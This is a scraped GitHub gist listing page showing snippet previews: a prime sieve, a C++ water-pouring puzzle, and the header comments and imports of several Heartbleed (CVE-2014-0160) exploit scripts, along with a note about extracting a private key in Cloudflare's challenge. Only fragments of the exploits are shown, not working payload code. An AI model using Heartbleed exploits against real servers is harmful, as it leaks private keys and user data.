Skip to content

Instantly share code, notes, and snippets.

@esrever10
esrever10 / make_prime_n
Last active December 21, 2015 17:49
线性筛法
1. 普通筛法
n = 1000000
arr=[1]*(n+1)
arr[0]=arr[1]=0
s = 2
for i in xrange(2,int(n**0.5)+1):
if arr[i] == 1:
for j in xrange(i*i, n+1,i):
arr[j] = 0
@esrever10
esrever10 / 倒水问题.cpp
Last active December 25, 2015 14:39
设大中小3个辈子的容量分别为a,b,c, 最初只有大杯子装满水, 其他两个杯子为空. 最少需要多少步才能让某个杯子中的水有x升呢?你需要打印出每步操作后各个杯子中的水量.(0<c<b<a<1000)
#include <algorithm>
#include <cstdio>
#include <queue>
#include <vector>
#include <cstring>
using namespace std;
//3个瓶子的大小
int ga[3] = {0};
#include <algorithm>
#include <cstdio>
#include <queue>
#include <vector>
#include <cstring>
#include <set>
using namespace std;
class State {
public:
#include <cstdio>
#include <vector>
#include <bitset>
#include <climits>
#include <iostream>
using namespace std;
#define MAX 15
vector<bitset<MAX> > vec;
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
@esrever10
esrever10 / hb2.c
Created April 11, 2014 12:21
TLS层
/*
* CVE-2014-0160 heartbleed OpenSSL information leak exploit
* =========================================================
* This exploit uses OpenSSL to create an encrypted connection
* and trigger the heartbleed leak. The leaked information is
* returned encrypted and is then decrypted, decompressed and
* wrote to a file to annoy IDS/forensics. The exploit can set
* the heatbeart payload length arbitrarily or use two preset
* values for 0x00 and MAX length. The vulnerability occurs due
* to bounds checking not being performed on a heap value which
@esrever10
esrever10 / hb3.py
Created April 11, 2014 12:22
SMTPS等
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# Modified by Derek Callaway (decal@ethernet.org) to add STARTTLS protocols
# The authors disclaim copyright to this source code.
import sys
import struct
@esrever10
esrever10 / hb4.c
Created April 11, 2014 12:23
TLS+SMTPS
/*
* CVE-2014-0160 heartbleed OpenSSL information leak exploit
* =========================================================
* This exploit uses OpenSSL to create an encrypted connection
* and trigger the heartbleed leak. The leaked information is
* returned encrypted and is then decrypted, decompressed and
* wrote to a file to annoy IDS/forensics.
*
* https://github.com/HackerFantastic/Public/blob/master/exploits/heartbleed.c
* https://raw.githubusercontent.com/decal/ssltest-stls/master/ssltest-stls.py
I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the
10th to get it (ok, looks like I was the 7th.) But I'm happy that I was able to prove to myself
that I too could do it.
First, I have to admit I was a skeptic. Like the handful of other dissenters, I had initially
believed that it would be highly improbable under normal conditions to obtain the private key
through exploiting Heartbleed. So this was my motivation for participating in Cloudflare's
challenge. I had extracted a lot of other things with Heartbleed, but I hadn't actually set out to
extract private keys. So I wanted to see first-hand if it was possible or not.
#!/usr/bin/env python2
"""
Author: takeshix <takeshix@adversec.com>
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org).
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
"""
import sys,struct,socket
from argparse import ArgumentParser